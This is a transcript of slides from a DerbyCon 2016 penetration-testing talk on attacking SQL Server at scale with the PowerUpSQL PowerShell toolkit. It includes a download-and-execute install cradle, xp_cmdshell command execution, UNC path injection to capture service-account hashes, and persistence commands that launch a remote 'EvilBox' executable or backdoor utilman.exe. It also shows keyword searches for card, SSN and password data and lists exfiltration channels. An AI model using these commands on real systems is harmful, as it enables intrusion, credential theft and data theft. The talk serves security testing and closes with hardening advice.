derbycon2016 - hacking sql server on scale with powershell

74
Hacking SQL Server on Scale with PowerShell DerbyCon 6.0

Upload: scott-sutherland

Post on 16-Apr-2017

1.165 views

Category:

Technology


7 download

TRANSCRIPT

Hacking SQL Server on Scale with PowerShell

Hacking SQL Server on Scale with PowerShell

DerbyCon 6.0

Speaker Information

Name:Scott SutherlandJob:Network & Application Pentester @ NetSPITwitter:@_nullbindSlides:http://slideshare.net/nullbindhttp://slideshare.net/netspiBlogs:https://blog.netspi.com/author/scott-sutherland/Code:https://github.com/netspi/PowerUpSQLhttps://github.com/nullbind

Presentation OverviewWhy SQL Server and PowerShell?

PowerUpSQL Overview

Finding & Accessing SQL Servers

Privilege Escalation ScenariosDomain user to SQL Server loginSQL Server Login to SysadminSysadmin to Windows AdminWindows Admin to SysadminDomain Escalation

Post Exploitation Activities

General Recommendations

Why SQL Server?Used in most enterprise environmentsSupports local Windows and Domain authenticationIntegrates with lots of Windows applications

More integrated than Oracle, db2, and mysql

Why PowerShell?Native to WindowsRun commands in memoryRun managed .net codeRun unmanaged codeAvoid detection by legacy Anti-virusAlready flagged as "trusted" by most application whitelist solutionsA medium used to write many open source Pentest toolkits

PowerUpSQL

PowerUpSQL Overview: Project GoalsProject Goals (Get-Abilities) Scalability via runspace threadingFlexibility via pipeline supportPortability No SMO dependancies.Net Framework librariesPowerShell v.2 compliant (in theory)Single fileFunctional GoalsDiscover SQL Servers from different attacker perspectivesInventory SQL Servers quicklyAudit SQL Servers for common insecure configurationsEscalate privileges quickly on SQL ServersSupport authentication using SQL Login or Windows Credential

COMMON USE CASES phishing - clickonce, java applet, macro in officeSql injection download craddle

PowerUpSQL Overview: FunctionsPrimary Attack FunctionsInvoke-SQLDumpInfoInvoke-SQLAuditInvoke-SQLPrivEscInvoke-SQLOsCmdFunction list and dev roadmap is on the wikihttps://github.com/NetSPI/PowerUpSQL/wikiCurrently 59 Functions

Skip

PowerUpSQL Overview: Where can I get it?Githubhttps://github.com/netspi/PowerUpSQLPowerShell Galleryhttps://www.powershellgallery.com/packages/PowerUpSQL/

Skip

PowerUpSQL Overview: How to I install it?GithubImport-Module PowerUpSQL.psd1IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")Execute policy work aroundshttps://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/PowerShell GalleryInstall-Module -Name PowerUpSQL

Skip

SQL ServerBasics

SQL Server BasicsWhat is SQL Server?A database platformAn applicationA set of Windows services

SQL Server Basics: Account Types

Account TypesWindows AccountsUsed to loginMapped to SQL Server login

SQL Server LoginsUsed to loginMapped to database account

Database UsersUsed to access databases

SQL Server Basics: Common RolesImportant SQL Server RolesSysadmin roleDatabase administrator accountThink of it as the Administrators Windows group, but in SQL Server

Public roleOnly provides CONNECT permissionThink of it as the Everyone Windows group, but in SQL Server

Finding SQL Servers

Find SQL Servers: TechniquesAttacker PerspectiveTechniqueUnauthenticated List from fileTCP port scanUDP port scanUDP broadcastAzure DNS dictionary attack (x.databases.windows.net)Azure DNS lookup via public resourcesLocal UserServicesRegistry entriesDomain UserService Principal NamesAzure Portal / PowerShell Modules

Find SQL Servers: PowerUpSQLAttacker PerspectivePowerUpSQL FunctionUnauthenticated Get-SQLInstanceFileUnauthenticated Get-SQLInstanceUDPScanLocal UserGet-SQLInstanceLocalDomain UserGet-SQLInstanceDomain

Blog: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/

EscalatingPrivileges

Domain User to SQL Login

Testing Login Access: OverviewPowerUpSQL FunctionsInvoke-SQLAuditWeakLoginPwGet-SQLConnectionTestThreaded

Testing Login Access: Command Examples

Attacker PerspectiveCommand ExampleUnauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpassLocal UserGet-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose Domain UserGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15AlternativeDomain Userrunas /noprofile /netonly /user:domain\user PowerShell.exe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Just touch on alternative user.

Testing Login Access: Reuse Discovery List

ProcessCommand ExampleEnumerate Accessible Servers$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object {$_.Status like Accessible}

Get server information$Acessible | Get-SQLServerInfo -Verbose

Get database list$Acessible | Get-SQLDatabase -Verbose

Perform audit$Acessible | Invoke-SQLAudit -Verbose

Skip

Testing Login Access: Domain User Access

DEMO

Testing Login Access: DemoDEMO

Escalating Privileges: Domain UserWhy can Domain Users login into so many SQL Servers?Admins give them accessPrivilege inheritance issue on domain systems = Public role access

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges: Getting Sysadmin PrivsHow can I get sysadmin privileges?

Weak PasswordsBlind user enumerationDefault vendor passwordsWeak passwords

SQL Injection in Stored ProceduresEXECUTE AS LOGINSigned procedures

Excessive PrivilegesRoles: DB_OWNER, DB_DDLADMIN, etcPermissions: Impersonation, agent jobs, triggers, xp_cmdshell, importing assembliesWrite access to autorun procedures

Cornucopia of excessive privileges.

Escalating Privileges: DEMODEMOInvoke-SQLAudit

Cornucopia of excessive privileges.

Escalating Privileges: Invoke-SQLPrivEscWhooray for Automation Demo!

Escalating Privileges: DEMODEMOInvoke-SQLPrivEsc

Cornucopia of excessive privileges.

Escalating Privileges: Invoke-SQLPrivEscDEMO

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges: SysAdmin to Service AccountOS Command Execution = Service Account ImpersonationYou dont need to know the password, crack a hash, or PTHService Account TypesLocal User Local SystemNetwork ServiceLocal managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges: SysAdmin to Service AccountOS Command Execution = Service Account ImpersonationExecuting OS Commands:xp_cmdshellCustom extended stored proceduresAgent jobsActiveX ScriptCmdExecPowerShellAnalysis Services Command (PoC pending)Analysis Services Query (PoC pending)SSIS PackageRegistry autoruns

Escalating Privileges: Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution.

PS C:\>$Accessible | Invoke-SQLOSCmd Verbose Command whoami Threads 10ComputerName Instance CommandResults-------------------------------- -------------- SQLServer1 SQLServer1\SQLEXPRESS nt service\mssql$sqlexpress SQLServer1 SQLServer1\STANDARDDEV2014 nt authority\system SQLServer1 SQLServer1 Domain\SQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges: Shared Service AccountsWhy should I care about shared service accounts?

SysAdmins can execute OS commandsOS commands run as the SQL Server service account Service accounts have sysadmin privileges by defaultCompanies often use a single domain account to run hundreds of SQL ServersSo if you get sysadmin on one server you have it on all of them!

One account to rule them all!

Cornucopia of excessive privileges.You get sysadmins.

Architecture overview.37

SQL injection.38

ScenarioDatabase account with excessive privilegesShared service account

Use xp_cmdshell to verify local command execution

39

Use xp_cmdshell and OSQL to:

Enumerate databases on the internal network

Issues queries on remote HVA database server that is configured with the same service account.No alerts using trusted account and non destructive native functionalityNo logs (or few logs) No account creation or group modificationNo accountability!

40

EscalatingPrivileges

Crawling Database Links

Escalating Privileges: Crawling Database LinksWhats a database link?

Database links are basically persistent database connections for SQL Servers.Why should I care?

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT * FROM OpenQuery([SQLSERVER2],SELECT @@Version)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Another REALLY COOL lateral movement / privilege escalation technique.

Architecture overview.

43

ScenarioNo sysadmin roleNo excessive service account accessNo shared service account access

Enumerate linked serversFind link to DB1 - Used to transmit marketing metrics to DB1

44

Connect to DB1 (linked server) via OPENQUERYHas least privilege

Enumerate linked serversFind link to HVA - Used to pull marketing metrics to DB1

45

Connect to HVA (linked server) via NESTED OPENQUERYConfigured with the SA account

HVA could have access to other resources

Nesting can continue

Nested Shared service account with excessive privs

Linked database can be direct between high value and low valueOther server not on the diagramCan be nested many times

46

Escalating Privileges: Crawling Database LinksPenetration Test Stats

Database links exist (and can be crawled) in about 50% of environments weve seen

The max number of hops weve seen is 12

The max number of servers crawled is 226

Escalating Privileges: Crawling Database LinksOld Script

2012 - https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_linkcrawlerNew Script

/scripts/pending/Get-SqlServerLinkCrawl.ps1

Author: Antti Rantasaari

Escalating Privileges: Crawling Database LinksDEMO

Escalating Privileges: Database LinksDEMO

Escalating Privileges: Crawling Database Links

Neo4jBloodhoundpending

EscalatingPrivileges

UNC Path Injection

Escalating Privileges: UNC Path InjectionUNC Path Injection Summary

UNC paths are used for accessing remote file servers like so \\192.168.1.4\file

Almost all procedures that accept a file path in SQL Server, support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Heres the good one

Escalating Privileges: UNC Path Injection

Escalating Privileges: UNC Path InjectionOh yeah

By DEFAULT, the PUBLIC role can execute (at least) two procedures that accept a file path

xp_dirtreexp_fileexists

Escalating Privileges: UNC Path InjectionSo, in summary

The PUBLIC role can access the SQL Server service account password hash by default!!

Escalating Privileges: UNC Path Injection

But who really hasPublic role access?

Oh yeah, a ton of domain users

Escalating Privileges: DEMODEMOGet-SQLServiceAccountPwHasheswhat? Its self descriptive

Cornucopia of excessive privileges.

Escalating Privileges: UNC Path InjectionDEMO

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges: OS Admin to SysAdminTwo things to know

Different SQL Server versions can be abused in different waysAll SQL Server versions provide the service account with sysadmin privileges.

Escalating Privileges: OS Admin to SysAdminApproach200020052008201220142016LSA SecretsxxxxxxLocal AdministratorxxLocalSystemxxxProcess Migrationxxxxx?Token Stealingxxxxx?Single User Mode?xxxxx

Below are some options for leveraging that knowledge...

Escalating Privileges: OS Admin to SysAdminHere are some tool options...

ApproachCommon ToolsAccess as Local AdministratorManagement Studio, sqlcmd, and other native SQL client tools.Access as LocalSystemPsexec, accessibility options, debugger with native SQL client tools.Recover service account password via LSA SecretsMimikatz, Metasploit, lsadump.Inject code to Run in the SQL Servers ProcessMetasploit, Python, Powershell (LoadLibrary,CreateRemoteThread, and similar functions)Steal Authentication Token From Service ProcessMetasploit, Incognito, Invoke-TokenManipulationSingle User ModeDBATools

Common Post Exploitation Activities

Post Exploitation: OverviewCommon Post Exploitation Activities

Establish PersistenceSQL Server Layer: startup procedures, agent jobs, triggers, modified codeOS Layer: Registry & file auto runs, tasks, services, etc.

Identify Sensitive DataTarget large databasesLocate transparently encrypted databasesSearch columns based on keywords and sample dataUse regular expressions and the Luhn formula against data samples

Exfiltrate Sensitive DataAll standard methods: Copy database, TCP ports, UDP ports, DNS tunneling, ICMP tunneling, email, HTTP, shares, links, etc. (No exfil in PowerUpSQL yet)

Post Exploitation : PersistenceTaskCommand ExampleRegistry Autorun PersistenceGet-SQLPersistRegRun -Verbose -Name EvilSauce -Command "\\EvilBox\EvilSandwich.exe" -Instance "SQLServer1\STANDARDDEV2014"Debugger Backdoor PersistenceGet-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Instance "SQLServer1\STANDARDDEV2014"

Post Exploitation : Post Exploitation

Post Exploitation : Finding Sensitive DataTaskCommand ExampleLocate Encrypted DatabasesGet-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded Verbose Threads 10 -NoDefaults |Where-Object {$_.is_encrypted eq TRUE} Locate and Sample Sensitive Columnsand Export to CSVGet-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded Verbose Threads 10 Keyword credit,ssn,password SampleSize 2 ValidateCC NoDefaults |Export-CSV NoTypeInformation c:\temp\datasample.csv

Post Exploitation: Finding Sensitive DataDEMO

Post Exploitation: Finding Sensitive DataDEMO

GeneralRecommendations

General RecommendationsThings to do

Enforce least privilege everywhere!

Disable dangerous default stored procedures.

Audit and fix insecure configurations.

Use policy based management for standardizing configurations.

Enable auditing at the server and database levels, and monitor for potentially malicious activity.

PowerUpSQL Overview: Thanks!

IndividualThird Party Code / Direct ContributorsBoe ProxRunspace blogsWarren F. ( RamblingCookieMonster) Invoke-Parallel functionOyvind KallstadTest-IsLuhnValid function Kevin RobertsonInvoke-InveighJoe BialekInvoke-TokenManipulationAntti Rantasaari, Eric Gruber, and Alexander LearyContributions and QAKhai TranDesign adviceNetSPI assessment team and dev teamDesign advice

Skip

Name:Scott SutherlandJob:Network & Application Pentester @ NetSPITwitter:@_nullbindSlides:http://slideshare.net/nullbindhttp://slideshare.net/netspiBlogs:https://blog.netspi.com/author/scott-sutherland/Code:https://github.com/netspi/PowerUpSQLhttps://github.com/nullbind

Hacking SQL Server on Scale with PowerShell

Internet

DMZ

Intranet

LRA

Internet

DMZ

Intranet

LRA

Internet

DMZ

Intranet

LRA

Internet

DMZ

Intranet

LRA

Internet

DMZ

Intranet

LRA

Internet

DMZ

Intranet

LRA

Internet

DMZ

Intranet

LRA

Internet

DMZ

Intranet

LRA